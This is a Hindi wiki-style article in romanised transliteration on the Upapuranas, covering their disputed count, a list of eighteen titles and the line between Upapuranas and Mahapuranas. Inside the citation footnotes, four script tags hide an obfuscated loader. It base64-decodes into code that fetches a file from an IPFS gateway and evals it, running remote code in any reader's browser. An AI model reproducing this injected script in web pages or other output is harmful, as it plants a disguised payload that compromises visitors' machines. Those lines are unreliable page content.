उपपुराण

upapuran atharah puranoan ke atirikt tatha vedavyas se bhinn any rrishiyoan dvara rachit puran haian, jinaki sankhya bhi atharah kahi jati hai.^[1] inaki yatharth sankhya tatha nam ke vishay mean bahut matabhed hai. upapuranoan ki soochi koormapuran,^[2] garud puran,^[3] devibhagavat,^[4] padmapuran,^[5] skand,^[6] tatha sootasanhita^[7] mean di gee hai. in soochiyoan ki tulana karane par atyant avyavastha drishtigochar hoti hai. bahut se many puran (jaise koorm, skand, brahm, brahmaand tatha shrimadbhagavat) evan ramayan bhi upapuranoan mean gine ge haian. aisi sthiti mean upapuranoan ki nishchit sankhya tatha abhidhan ganbhir gaveshan ki apeksha rakhate haian. poorvokt soochiyoan ko milane se upapuranoan ki sankhya 32 tak pahuanch jati hai, parantu bahumat upapuranoan ki sankhya ko 18 tak simit rakhane ke paksh mean hai. ^[8] inake nam is prakar haian-

sanatkumar
narasih
naradiy
shiv
durvasa
kapil
manav
aushanas
varoon
kalika
saanb
nandikeshvar
saur
parashar
adity
maheshvr
bhargav
vashishth

puran evan mahapuran mean vibhed

mahapuran tatha upapuran ki vibhedak rekha inati kshin hai ki kabhi-kabhi kisi puran ke yatharth svaroop ka nirnay karana nitaant kathin hota hai. saanpradayik agrah bhi kisi nishchay par pahuanchane mean pradhan badhak siddh hote haian. shakti ke upasak 'devibhagavat' ko aur vishnu ke bhakt 'shrimadbhagavat' ko mahapuran ke aantargat manate haian, parantu matsy adi puranoan mean nirdisht vishayasoochi ka anushilan shrimadbhagavat ko hi mahapuran mean aantarnivisht siddh karata hai. shivapuran tatha vayupuran ke svaroop ke vikas mean bhi isi prakar matabhed hai. katipay alochak ek hi puran ko pratipady vishay ki apeksha se shivapuran aur vakta ki apeksha se 'vayupuran' manate haian, parantu anyatr vayupuran ko mahapuranoan ke aantargat manakar 'shivapuran' ko nishchit roop se upapuran mana gaya hai. shivapuran bhi do prakar ka upalabdh hai. ek lakshashlokatmak tatha dvadash sanhitaoan mean vibhakt batalaya jata hai. parantu shri veankateshvar pres se prakashit 'shivapuran' mean keval 7 sanhitaean aur 24 sahasr shlok upalabdh hote haian. ganapati ki upasana ke pratipadak 'ganeshapuran' ke atirikt 'mudgulapuran' ko bhi 'ganeshatharvashirsh' ke bhashyanusar upapuran manate haian. saanbapuran soory ki upasana ka pratipadak hai tatha kalikapuran bhagavati kali ke nana avataroan tatha pooja archana ka vivaran prastut karata hai. 'vishnudharmottar' mean puran ke samany vishayoan ke atirikt nrity, sangit, sthapaty, chitrakala, moortikala, moortividhan tatha mandir nirman ka bhi vivaran milata hai jo kala ki drishti se nitaant rochak, upayogi tatha upadey hai.^[9]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ pauranik kosh |lekhak: ranaprasad sharma |prakashak: jnanamandal limited, aj bhavan, sant kabir marg, varanasi |prishth sankhya: 59 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ (1.13.-23)
↑ (1.223;17-20)
↑ (1.3)
↑ (4.133)
↑ (5.3.1; 7.1.12)
↑ (1.13.18)
↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 120 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ san.gr.-jvalaprasad mir : ashtadash puranadarpan (veankateshvar pres, banbee); viantaranits : histri aauv iandiyan litarechar, bhag 1, kalakatta 1927; hazara : di upapuranaz, pratham bhag, kalakatta.

sanbandhit lekh

shrutiyaan

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] uranik kosh |lekhak: ranaprasad sharma |prakashak: jnanamandal limited, aj bhavan, sant kabir marg, varanasi |prishth sankhya: 59 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] (1.13.-23)

[3] (1.223;17-20)

[4] (1.3)

[5] (4.133)

[6] (5.3.1; 7.1.12)

[7] (1.13.18)

[8] vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 120 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[9] san.gr.-jvalaprasad mir : ashtadash puranadarpan (veankateshvar pres, banbee); viantaranits : histri aauv iandiyan litarechar, bhag 1, kalakatta 1927; hazara : di upapuranaz, pratham bhag, kalakatta.

[1]

[2]

[3]

[4]

[5]

[6]

[7]

[8]

[9]

उपपुराण

puran evan mahapuran mean vibhed

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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